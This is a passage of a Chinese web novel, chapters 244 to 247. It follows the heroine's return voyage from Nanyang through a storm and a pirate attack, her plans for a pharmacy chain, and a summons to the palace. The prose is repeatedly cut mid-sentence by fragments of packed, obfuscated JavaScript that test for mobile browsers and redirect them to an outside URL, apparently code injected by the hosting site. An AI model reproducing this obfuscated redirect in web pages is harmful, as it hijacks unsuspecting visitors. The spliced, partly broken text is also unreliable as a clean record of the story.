那好吧,酋长阿鲁巴点头,今晚我们为您举办篝火晚会,算是送别宴。 太好了!厉战霆立刻来了精神,我最喜欢篝火晚会了! 你喜欢个屁。姜绾歌瞪了他一眼,你就喜欢吃肉。 嘿嘿,厉战霆憨笑着挠头,确实,烤肉最香了。 没出息。顾云霁摇头,就知道吃。 你不也一样?厉战霆反驳,刚才看到那些水果,你的眼睛都亮了。 我那是欣赏异域风情。顾云霁义正词严地说道,和你这种单纯的食欲不一样。 什么异域风情?厉战霆不屑,还不是想吃? 我不和你这种粗人争论。顾云霁摇着扇子,没有共同语言。 你说谁粗人?厉战霆怒了。我说粗人,没说是你。顾云霁淡定地说道,不过如果你要对号入座,我也没办法。 你们两个够了!姜绾歌不耐烦地说道,有这时间吵架,不如想想怎么多搞点好药材回去。 对,对,正事要紧。厉战霆立刻收敛了脾气。姜老板说得对。顾云霁也点头,不过话说回来,这次收获确实不错。 是啊,姜绾歌满意地点头,血竭提炼法,还有这么多珍珠,够咱们忙一阵子了。 她看着远处的夕阳,心中暗想:这次南洋之行,比预想的还要成功。 不仅解决了药材供应的问题,还获得了珍贵的血竭提炼法。 最重要的是,她发现了一个新的商机——南洋贸易。 这里的香料、珍珠、珊瑚,在中原都是抢手货,利润空间巨大。 看来,她喃喃自语,我要在这里建立一个长期的贸易网络。 夜幕降临,篝火晚会正式开始。 土著们围着篝火载歌载舞,烤肉的香味弥漫在空气中。 姜绾歌坐在篝火旁,看着眼前热闹的场面,心中满是满足。 这种生活,虽然简单,但很纯朴。 绾歌,你在想什么?厉战霆走过来,手中拿着一块烤肉。 没想什么,姜绾歌接过烤肉,就是觉得这里的生活很有趣。 有趣?厉战霆愣了一下,你不会想留在这里吧? 留在这里?姜绾歌笑了,我是来做生意的,又不是来度假的。 那就好。厉战霆松了一口气,我还以为你被那个王子打动了呢。 那个王子?姜绾歌想起白天的事情,忍不住笑了,他确实很有诚意,不过…… 不过什么?厉战霆紧张地问道。不过老娘对当什么王妃没兴趣。姜绾歌咬了一口烤肉,还是做生意有意思。 那就好,那就好。厉战霆连连点头,我就说嘛,你怎么可能看上那种…… 那种什么?姜绾歌挑眉。那种……那种不会赚钱的人。 厉战霆憨笑着说道。你这话倒是说对了。 姜绾歌点头,不会赚钱的男人,确实没什么意思。 厉战霆听到这话,心中暗暗得意。 他觉得,以他将军的俸禄,应该算是会赚钱的吧? 而不远处的顾云霁,听到这话却皱了皱眉头。 他觉得,姜绾歌这话里,好像有什么深意。 不过,不管怎样,今晚大家都很开心。 篝火在夜风中摇曳,照亮了每个人的脸庞。 明天,他们就要离开这个美丽的岛屿,继续他们的南洋之旅。 南洋的阳光还在眼前闪烁,但姜绾歌的心思已经飞回了京城。 船队满载着各种珍贵的药材和香料,正准备踏上归程。 她站在船头,看着远处波光粼粼的海面,心中盘算着回去后的各种安排。 绾歌,海风这么大,你别站在那里了。 厉战霆走过来,手中拿着一件厚实的斗篷,小心着凉。 没事,老娘身体好着呢。姜绾歌摆摆手,但还是接过了斗篷披在身上,你看看那些药材都收拾好了没有?这次的货可都是宝贝,万一损坏了,老娘心疼死。 都收拾好了,厉战霆憨笑着说道,我亲自检查过三遍,保证一根草都不会少。 那就好。姜绾歌满意地点头,这次的血竭提炼法,回去后能让杏林堂的药品质量上一个台阶。还有那些珍珠,拿去做装饰品,肯定能卖个好价钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206805|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 正说着话,顾云霁也走了过来。 他换下了土著装扮,重新穿上了那身月白色的锦袍,手中摇着折扇,看起来又恢复了京城贵公子的模样。 姜老板,这次南洋之行,收获颇丰啊。他笑着说道,不仅解决了药材供应问题,还获得了这么多珍贵的东西。 是啊,姜绾歌得意地说道,老娘的眼光还是不错的。这次开辟南洋药路,绝对是个正确的决定。 那是当然,厉战霆在一旁拍马屁,绾歌的眼光什么时候错过? 少贫嘴。姜绾歌白了他一眼,赶紧去看看船队的情况,咱们争取今天就能出海。 是!厉战霆立刻跑去安排。顾云霁看着厉战霆的背影,忍不住摇头:这家伙,在你面前就像个听话的小狗。 小狗?姜绾歌愣了一下,然后笑了,那你是什么?老狐狸? 老狐狸?顾云霁装作被冒犯的样子,姜老板,你这话说得也太伤人了。本王这叫智慧,不叫狡猾。 智慧和狡猾,不都是一回事吗?姜绾歌理所当然地说道。 这……顾云霁被说得哑口无言。 就在两人说话的时候,天空中忽然飘来了一片乌云。 原本晴朗的天空瞬间变得阴沉起来,海风也变得急促而猛烈。 不好!船上的老水手大声喊道,要起风暴了! 风暴?姜绾歌皱眉,现在这个季节,怎么会有风暴? 海上天气变化无常,顾云霁严肃地说道,看来我们遇到麻烦了。 话音刚落,狂风呼啸而来,海浪瞬间变得汹涌澎湃。 船只在巨浪中摇摆不定,就像一片树叶在暴风中飘摇。 所有人都抓紧了!厉战霆大声指挥着,降帆!准备应对风暴!姜绾歌站在甲板上,被风吹得几乎站不稳脚。 她紧紧抓住船舷,看着那些珍贵的药材在风浪中颠簸,心中焦急万分。 药材!她大声喊道,快保护好那些药材! 绾歌,你先进船舱!厉战霆一边指挥船员,一边朝她喊道,外面太危险了! 我不进去!姜绾歌固执地说道,我要看着我的货! 第244章 风暴来临 这个时候还想着货?顾云霁无奈地说道,命都要没了,还要什么货? 没有货,老娘要命干什么?姜绾歌理直气壮地回答。 就在这时,风暴变得更加猛烈。 巨浪一个接一个地拍打着船只,船上的东西都被冲得乱七八糟。 该死的!厉战霆咬牙切齿,这风暴来得太突然了! 他亲自跑到船舵旁,用力地掌控着方向。 汹涌的海浪不断冲击着船只,但他凭借着娴熟的技巧和强大的力量,硬是稳住了船只。 厉将军,小心!一个巨浪打来,差点把他冲下去。 我没事!厉战霆大声回应,双手死死抓住船舵,只要我还有一口气,就不会让船沉掉! 姜绾歌看着他在风浪中奋力搏斗的身影,心中涌起一阵暖流。 这个铁血汉子,为了保护她和她的货物,真是拼了命。 绾歌,快过来!顾云霁在船舱门口朝她招手,再不进来,真的要被冲走了! 等等!姜绾歌指着甲板上的一个箱子,那里面装的是血竭原料,绝对不能丢! 我去拿!顾云霁二话不说,冲到甲板上,抱起那个箱子就往船舱里跑。 就在这时,一个更大的浪头打来,直接把他冲倒在地。 箱子也滚到了一边,眼看就要被冲入海中。 妈的!姜绾歌忍不住爆了粗口,她不顾一切地冲过去,扑在箱子上。 绾歌!两个男人同时大喊。 就在这千钧一发的时候,远处忽然传来隆隆的炮声。 轰!轰!轰!几发炮弹在不远处的海面上炸开,激起巨大的水柱。 什么情况?姜绾歌紧紧抱着箱子,怎么还有炮声? 海盗!厉战霆大声喊道,是海盗趁着风暴来偷袭! 果然,透过风雨,可以看到几艘黑帆战船正在逼近。 船上的海盗们挥舞着刀剑,发出野兽般的嚎叫。 妈的!姜绾歌气得咬牙切齿,这帮王八蛋,挑这个时候来! 绾歌,你先进船舱!顾云霁一边指挥船员准备应战,一边朝她喊道,这里交给我们! 交给你们?姜绾歌冷笑,就你们这几个人,能对付得了那么多海盗? 那也比你一个女人在这里添乱强!顾云霁急道。 添乱?姜绾歌怒了,老娘什么时候添乱了?就在这时,顾云霁忽然大喊一声:准备火炮! 火炮?姜绾歌愣了一下,咱们船上有火炮? 当然有!顾云霁冷笑,本王的战船,怎么可能没有火炮? 话音刚落,他们船上也响起了轰鸣声。 几门火炮同时开火,炮弹呼啸着飞向海盗船。 轰!其中一艘海盗船被直接命中,瞬间起火燃烧。 海盗们惊慌失措,有的跳海逃命,有的在甲板上乱跑。 好!姜绾歌兴奋地拍手,就这样干掉他们! 还没完呢!顾云霁继续指挥着,继续开火!不要让他们靠近! 轰!轰!轰!连续几轮炮击下来,海盗船队被打得七零八落。 剩下的几艘船见势不妙,纷纷调头逃跑。跑了?姜绾歌有些意犹未尽,这就跑了? 跑了好啊!厉战霆松了一口气,现在咱们可以专心对付风暴了。 但风暴似乎并没有减弱的意思,反而越来越猛烈。 船只在巨浪中摇摆得更加厉害,甲板上的东西都被冲得乱七八糟。 不行!厉战霆大声喊道,这样下去,船会散架的! 那怎么办?姜绾歌紧紧抱着箱子,总不能等死吧? 我来掌舵!厉战霆说道,我试试能不能冲出风暴区!他重新抓住船舵,用尽全身力气与风浪搏斗。 汗水和海水混在一起,从他的脸上滴落。 厉将军,小心!一个巨浪打来,差点把他冲倒。 我没事!厉战霆咬牙坚持,只要还有一口气,就不会让船沉掉! 姜绾歌看着他拼命的样子,心中又是感动又是担心。 这个男人,为了她真是什么都不顾了。 就在这时,远处忽然出现了一队战船。 这些战船规模庞大,船帆上绣着龙纹,一看就是皇家舰队。 那是什么?姜绾歌指着远处的船队,皇家舰队? 怎么可能?顾云霁也很惊讶,皇家舰队怎么会出现在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206806|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 为首的一艘战船上,一个熟悉的身影出现在船头。 正是顾铭轩!他穿着一身龙袍,在风雨中显得威风凛凛。 绾绾!他大声喊道,朕来接你了! 接我?姜绾歌愣住了,他怎么知道我在这里? 肯定是派人跟踪我们!顾云霁恍然大悟,他一直在暗中保护你! 暗中保护?姜绾歌哭笑不得,老娘需要保护吗? 话虽这么说,但看到皇家舰队的出现,她心中还是涌起一阵暖流。 不管怎么说,在这种危急时刻,有人来救她,总是好事。 皇家舰队很快就包围了他们的船只,为他们提供了保护。 风暴在舰队的掩护下,似乎也变得不那么可怕了。 绾绾,快上朕的船!顾铭轩站在旗舰上,朝她伸出手。 我不上!姜绾歌固执地说道,我的货还在这里! 这个时候还想着货?顾铭轩无奈地说道,朕的船更安全! 安全个屁!姜绾歌没好气地说道,老娘的货要是有个三长两短,你赔得起吗? 朕赔得起!顾铭轩毫不犹豫地说道,朕的国库里什么没有? 国库里有血竭提炼法吗?姜绾歌反问,有南洋的香料配方吗? 这……顾铭轩被问得哑口无言。就在这时,风暴终于开始减弱。 海浪渐渐平静下来,天空中的乌云也慢慢散开。风暴过去了!厉战霆兴奋地喊道,我们安全了! 太好了!姜绾歌松了一口气,我的货保住了! 她站在船头,看着周围的三艘战船。 顾铭轩的旗舰在右边,顾云霁的战船在左边,厉战霆的船在中间。 三个男人几乎同时朝她的方向走来。绾绾,跟朕回宫!顾铭轩从旗舰上跳了过来,一把抓住她的手。 绾歌,你没事吧?厉战霆也冲了过来,想要检查她有没有受伤。 姜老板,刚才的表现很勇敢!顾云霁也走了过来,眼中带着赞赏。 三个男人几乎同时围到了她身边,每个人都在表达着自己的关心。 都别挤!姜绾歌感觉头都要炸了,先把药材救上来! 第245章 开连锁药店 绾绾,顾铭轩紧紧抓着她的手,眼中满是关切,跟朕回宫。这种危险的事情,以后不要再做了。 回宫?姜绾歌挣开他的手,等我把南洋的药田开起来再说! 药田?顾铭轩愣了一下,你还想在南洋开药田? 那是当然!姜绾歌理所当然地说道,这么好的商机,老娘怎么可能放过? 可是太危险了!厉战霆在一旁说道,今天要不是运气好,咱们都得葬身鱼腹! 危险?姜绾歌冷笑,做生意哪有不危险的?富贵险中求,这个道理你们不懂吗? 可是……三个男人想要劝阻,但看到她坚定的眼神,都知道劝不动了。 行了,行了,姜绾歌摆摆手,你们三个别在这里杵着了。该干什么干什么去,别耽误老娘清点货物。 她转身走向那些装满药材的箱子,开始仔细检查每一样东西。 对她来说,这些才是最重要的。 三个男人面面相觑,都有些无奈。 这个女人,永远把生意放在第一位。 但也正是因为这样,她才这么吸引人。 风暴过去了,阳光重新洒在海面上。 船队继续朝着京城的方向前进,载着满船的珍宝和一个永远不会停下脚步的女人。 姜绾歌站在船头,看着远方的地平线,心中已经在盘算着下一步的计划。 南洋药田,势在必行。 回到京城已经三天了,姜绾歌却没有丝毫休息的意思。 她坐在杏林堂的密室里,面前摆着各种从南洋带回来的药材,正在专心致志地研究着新的药方。 东家,您都三天没好好睡觉了。阿福端着一碗热腾腾的粥走进来,担心地看着她,再这样下去,您的身体会吃不消的。 睡觉?姜绾歌头也不抬,手中的药杵在石臼里研磨着血竭,老娘现在哪有心思睡觉?这些南洋药材要是不赶紧用起来,放久了效果就打折扣了。 她的眼中闪着兴奋的光芒,仿佛发现了什么宝贝。 经过这几天的实验,她发现用南洋的血竭配合中原的草药,制作出的金疮药效果比原来的要好上几倍。 你看这个,她拿起一个装着暗红色药膏的小瓶子,这是我用血竭、三七、龙血竭调制的新金疮药。外伤止血,比原来的快三倍! 真的?阿福瞪大眼睛,这么厉害? 废话!姜绾歌得意地说道,老娘什么时候吹过牛?昨天我拿死鸡试了,切开的伤口涂上这药,不到一炷香的时间就结痂了。 她站起身,在房间里来回踱步,脑中快速构思着商业计划。 阿福,立刻去找石头和陈墨,让他们来见我。她吩咐道,老娘有个大计划! 是,东家!阿福连忙去办。不到半个时辰,石头和陈墨就匆匆赶来了。姐姐,您找我们有什么事?石头问道。 坐下,听我说。姜绾歌指着桌上的药瓶,这是我用南洋药材调制的新金疮药,效果比原来的好几倍。 这么厉害?陈墨拿起药瓶仔细端详,东家,这药的成本如何? 成本比原来高两成,但效果提升了三倍!姜绾歌眼中闪着精明的光芒,这就是商机! 她走到墙边,展开一张京城的地图。 你们看,她指着地图上的各个位置,京城这么大,只有一个杏林堂远远不够。我要开连锁店! 连锁店?石头不太理解,什么意思? 就是开很多家分店,都叫杏林堂,都卖同样的药,用同样的标准。 姜绾歌解释道,这样既能扩大生意,又能保证质量。 这个想法不错!陈墨点头,不过需要很多银子。 银子不是问题,姜绾歌摆手,关键是人手和药材供应。 她在地图上圈出了几个位置:东城、西城、南城、北城,每个城区都要开一家。还有,城外的几个镇子也要开。 这么多?石头咋舌,姐姐,咱们忙得过来吗? 当然忙得过来!姜绾歌拍拍胸脯,老娘已经想好了。每家店都用统一的招牌,统一的药方,统一的价格。 她顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206807|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了顿,又补充道:还有,凡是持军牌的,买药半价! 半价?陈墨愣了一下,东家,这样利润会很低的。 利润低点怎么了?姜绾歌不在意地说道,军爷们保家卫国,给他们点优惠是应该的。而且,这样能赢得好名声,对生意有帮助。 她心中暗想,这样做不仅能获得军方的支持,还能让厉战霆那个直肠子高兴。 一举两得的事情,何乐而不为?好!就这么办! 她一拍桌子,石头,你去找工匠,按照杏林堂的样子,把其他几家店装修好。陈墨,你去找人手,每家店都要配备专业的药师。 是,东家!两人齐声应道。 正说着话,门外传来沉重的脚步声。 厉战霆推门而入,身后跟着几个穿着军服的士兵。 绾歌!他兴奋地说道,我给你带了几个人来! 带人来?姜绾歌看了看那几个士兵,干什么的? 他们都是从边境回来的伤兵,厉战霆解释道,听说你回来了,都想来看看。 看我?姜绾歌挑眉,看**什么? 姜大夫,是这样的,为首的一个士兵开口道,我们在边境受了伤,用的就是您的金疮药。那效果,真是太好了! 对对对!另一个士兵也激动地说道,我当时**人的箭射中了肩膀,涂上您的药,三天就好了! 这有什么大惊小怪的?姜绾歌不以为然,我的药本来就好。 不是,姜大夫,第一个士兵继续说道,我们想问问,这药在哪里能买到?我们想给家里也备点。 这个简单,姜绾歌指着门外,杏林堂就有卖的。 可是杏林堂只有一家啊,士兵们为难地说道,我们家住得远,买药不方便。 这个问题嘛......姜绾歌故意拖长声音,很快就能解决了。 她转向厉战霆:厉将军,你看这些兄弟们多实诚!这样吧,从今天开始,凡是持军牌的,在我这里买药半价!半价?厉战霆愣了一下,绾歌,你这样做...... 第246章 第一家分店 半价?厉战霆愣了一下,绾歌,你这样做...... 怎么了?姜绾歌瞪他一眼,你们军爷们保家卫国,老娘给点优惠怎么了? 不是不是,厉战霆连忙摆手,我是说,你这样做太好了!兄弟们,听到了吗?以后买药半价! 太好了!士兵们齐声欢呼,谢谢姜大夫! 别谢了,姜绾歌摆手,你们这些活广告,比什么都管用。 她心中暗笑,这些士兵一传十,十传百,用不了多久,整个京城的军人都会知道杏林堂的金疮药。这比花银子打广告强多了。 对了,厉将军,她忽然想起什么,你能不能帮我个忙? 什么忙?厉战霆立刻来了精神,只要能帮到你,什么都行! 我要在京城开几家分店,需要一些可靠的人手。姜绾歌说道,你看看你手下有没有退伍的兵,愿意来给**活的。 这个好办!厉战霆拍胸脯保证,我手下有不少退伍的兄弟,都是好样的! 那就太好了。姜绾歌满意地点头,退伍军人,忠诚可靠,正是我需要的。 几天后,杏林堂的第一家分店就在东城开业了。 门口挂着和总店一模一样的招牌,里面的布置也完全相同。 开业当天,姜绾歌亲自去剪彩。 她穿着一身淡蓝色的襦裙,手中拿着剪刀,看起来干练又美丽。 各位父老乡亲,她站在门口大声说道,杏林堂东城分店今日开业,所有药品都是总店的配方,质量绝对保证! 围观的百姓们纷纷鼓掌,店门口挤得水泄不通。姜大夫,您这药真的这么好用?一个老婆婆问道。 婆婆,您看!姜绾歌指着店门口站着的几个士兵,这些军爷们都是用过我的药的,您问问他们! 对对对!士兵们立刻作证,姜大夫的药,那是没话说的! 我在边境受了重伤,就是用她的金疮药治好的! 我也是!效果特别好!有了这些活广告,生意立刻火爆起来。 不到一个时辰,店里的药就卖了大半。 东家,石头兴奋地跑过来,咱们今天的营业额已经超过总店平时一天的了! 这才哪到哪!姜绾歌得意地说道,等其他几家分店都开起来,咱们的生意就更火了!就在这时,顾云霁慢悠悠地走了过来。 他穿着一身白色的锦袍,手中摇着折扇,看起来很是悠闲。姜老板,生意不错啊。他笑着说道,看这人流量,今天怕是要赚不少银子。 托王爷的福。姜绾歌客气地回应,王爷今天怎么有空来看热闹? 不是来看热闹的,顾云霁摇摇扇子,是来帮忙的。 帮忙?姜绾歌有些意外,帮什么忙? 你这连锁店要开遍京城,药材运输是个大问题。顾云霁说道,本王可以帮你打通漕运,保证药材供应。 这个好!姜绾歌眼睛一亮,王爷要什么条件? 条件嘛......顾云霁故意卖关子,等以后再说。 行,一言为定!姜绾歌痛快地答应了。 她心中暗想,顾云霁这个老狐狸,肯定又在打什么算盘。 不过,有他帮忙打通漕运,确实对生意有很大帮助。 就在这时,远处传来一阵喧哗声。 只见一队太监正朝这边走来,为首的是个面白无须的中年太监。 圣旨到!太监尖声喊道,姜绾歌接旨! 圣旨?姜绾歌愣了一下,连忙跪下,民女接旨! 奉天承运,皇帝诏曰,太监清了清嗓子,姜绾歌医术高明,济世安民,特赐匾额一块,以示褒奖。钦此! 谢主隆恩!姜绾歌叩头谢恩。 太监让人抬来一块金光闪闪的匾额,上面写着济世安民四个大字,字体雄浑有力,一看就是御笔亲书。 这是陛下亲自题写的,太监说道,姜大夫,你可要好好珍惜啊。 民女一定好好珍惜!姜绾歌连忙保证。太监走后,围观的百姓们更加兴奋了。天哪!皇上都认可的药铺! 这下咱们可以放心买药了! 姜大夫真是厉害!姜绾歌看着那块匾额,心中五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206808|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味杂陈。顾铭轩这是在给她撑腰,让她在京城的医药界站稳脚跟。东家,阿福小声说道,这匾额要挂在哪里? 当然是挂在总店!姜绾歌想了想,不过,要做几个副本,每家分店都要挂。 副本?阿福不解,这样行吗? 怎么不行?姜绾歌理所当然地说道,匾额是给杏林堂的,哪家杏林堂都可以挂。 当天晚上,姜绾歌回到醉仙楼的听雨轩,摊开京城的地图,开始详细规划她的商业版图。 她用红笔在地图上标出了已经开业的分店,又用蓝笔标出了即将开业的分店。 整个京城被她划分成了若干个区域,每个区域都有一家杏林堂。 这样一来,她自言自语,整个京城的百姓都能方便地买到我的药。 她又拿出一张更大的地图,上面标注着整个大梁朝的城市分布。京城只是开始, 她的眼中闪着野心的光芒,我要把杏林堂开到全国各地!正在她专心绘制商业版图的时候,门外传来急促的脚步声。 砰!厉战霆推门而入,脸上带着兴奋的神色。 绾歌!他大声说道,我给你带来了好消息! 什么好消息?姜绾歌头也不抬,继续在地图上标注。 我把北境的药材铺子都盘下来了,给你!厉战霆激动地说道,整整十八家药铺,遍布北境各个城镇! 什么?姜绾歌终于抬起头,你把北境的药材铺子都买下来了? 对!厉战霆得意地说道,我用军功换来的赏银,全部买了药铺。现在都是你的了! 我的?姜绾歌挑眉,厉战霆,你这是什么意思? 没什么意思,厉战霆憨笑着说道,就是想帮你把生意做大。 帮我?姜绾歌看着他,你花了多少银子? 不多,不多,厉战霆摆手,就是几万两而已。 几万两?姜绾歌瞪大眼睛,你疯了? 没疯,厉战霆认真地说道,我觉得这些钱花得值。 姜绾歌看着他诚恳的表情,心中涌起一阵复杂的情绪。 第247章 入宫 算你入股,她头也不抬,继续在地图上标注,年底分你一成。 入股?厉战霆愣了一下,什么意思? 就是你是我的合伙人,姜绾歌解释道,赚了钱,你也有份。 我不要分钱!厉战霆连忙摆手,我就是想帮你! 不要?姜绾歌抬头看他,那你想要什么? 我......厉战霆脸红了,我就是想让你高兴。 高兴?姜绾歌噗嗤一笑,你这个大老粗,还挺会说话。 我说的是真话。厉战霆认真地说道,只要你高兴,我做什么都愿意。 行了,别肉麻了。姜绾歌摆手,一成就一成,这是规矩。 她重新低头看地图,心中暗想:有了北境的这些药铺,她的商业版图就能向北扩展了。 厉战霆这个直肠子,虽然不太会说话,但做事确实实在。 对了,她忽然想起什么,你那些药铺现在是什么情况? 都在正常营业,厉战霆回答,不过生意一般。 生意一般?姜绾歌眯起眼睛,那是因为没有好药方。等我把新的金疮药配方给他们,生意立刻就会好起来。 真的?厉战霆兴奋了,那太好了! 当然是真的,姜绾歌得意地说道,老娘什么时候说过假话?她站起身,走到窗边,看着远处的京城夜景。 万家灯火,繁华如锦。厉战霆,她忽然开口,你知道吗?老娘的目标不只是京城,也不只是北境。 那是什么?厉战霆好奇地问。整个天下!姜绾歌的眼中闪着野心的光芒,老娘要把杏林堂开到每一个城市,每一个乡镇,让天下人都能用上我的药! 这......厉战霆被她的豪言壮语震住了,这可能吗? 当然可能!姜绾歌转身看着他,只要有足够的银子,足够的人手,还有足够的决心,就没有什么不可能的!她重新坐回桌前,拿起笔继续标注地图。 而且,她头也不抬地说道,老娘现在不是一个人在奋斗了,还有你这样的合伙人。 合伙人?厉战霆听到这个词,心中涌起一阵暖流,绾歌,你真的把我当合伙人? 不然呢?姜绾歌瞥了他一眼,难道还要把你当冤大头? 不不不,厉战霆连忙摆手,我就是......我就是很高兴。 高兴就好。姜绾歌满意地点头,记住,从今天开始,你就是杏林堂的股东了。 夜风吹过听雨轩,带来阵阵花香。 姜绾歌在灯下绘制着她的商业版图,厉战霆在一旁静静地看着她。 这一刻,两人心中都有着同样的想法:这只是开始,更大的挑战还在后面。 但他们也都相信,只要齐心协力,就没有什么困难是克服不了的。 杏林堂连锁店的生意正红火,姜绾歌却在这个时候收到了一道让她心头发紧的口谕。 陛下口谕,太后娘娘病危,急召姜绾歌入宫诊治!传旨的太监脸色凝重,姜大夫,请立刻随奴才入宫! 姜绾歌正在账房里清点这个月的收入,听到这话,手中的算盘珠子停了下来。 太后病危?她眯起眼睛,心中警铃大作。 太后娘娘病危?她装作吃惊的样子,什么时候的事? 就在刚才,太监催促道,姜大夫,事不宜迟,请快些准备。 好,我这就准备。姜绾歌点头,心中却在快速思考着。 以她对顾铭轩的了解,这个皇帝绝不是省油的灯。 太后病危的消息来得太突然,太巧合了。 她刚刚把连锁店的生意做得红红火火,引起了朝野瞩目,顾铭轩就来这么一出。 妈的,这是要逼老娘入宫的节奏!她在心中骂道,但面上依然镇定。 她走进密室,从一个隐蔽的角落里取出一个小瓶子。 这里面装着她特制的假死药,无色无味,关键时刻能救命。如果那个皇帝真的要强留老娘,老娘又来个假死脱身! 她将小瓶子小心地藏在袖子里,又检查了一遍针囊里的银针。 东家,您真的要进宫吗?阿福担心地问道,万一.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206809|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .. 万一什么?姜绾歌瞪了他一眼,老娘又不是第一次进宫。再说了,太后娘娘病危,老娘身为大夫,不能见死不救。 话虽这么说,但她心里清楚,这次进宫凶多吉少。 顾铭轩这个皇帝,对她的占有欲越来越强,说不定会借机把她留在宫里。 石头,她吩咐道,如果今晚我没回来,你就按照我之前教你的方法,联系厉战霆和顾云霁。 姐姐......石头想说什么,被她挥手打断了。别婆婆妈妈的!她不耐烦地说道,老娘又不是去送死,怕什么? 说完,她跟着太监出了门。一路上,姜绾歌观察着周围的环境。 街道上巡逻的御林军比平时多了一倍,而且每个人的表情都很严肃。 看来这次是真的下了血本。她心中暗想,顾铭轩这是要布天罗地网啊。到了宫门口,她发现守卫更加森严。 往常只需要通报一声就能进去,今天却要层层检查。 姜大夫,请。太监恭敬地引她进入慈宁宫。刚踏进慈宁宫,姜绾歌就闻到了浓重的药味。 她心头一跳,太后真的病了? 姜大夫来了!宫女们看到她,仿佛看到了救星,快请姜大夫给太后娘娘看看! 姜绾歌快步走到床前,看到太后脸色苍白,呼吸急促,显然病得不轻。 太后娘娘这是什么症状?她一边把脉,一边问道。 昨夜突然胸闷气喘,今早更是说不出话来。宫女哭着说道,太医们都说没办法了。 姜绾歌仔细诊脉,发现太后的脉象确实不好。心脉不畅,肺气不足,这是心肺功能衰竭的症状。 这确实是急症。她皱眉,心中的警惕稍微放松了一些。看来顾铭轩这次不是完全在演戏,太后确实病了。 绾绾,熟悉的声音在身后响起,太后的病情如何? 姜绾歌回头,看到顾铭轩站在不远处,脸上带着深深的忧虑。 他没有穿龙袍,只是一身普通的便服,但那股帝王的威严依然掩盖不住。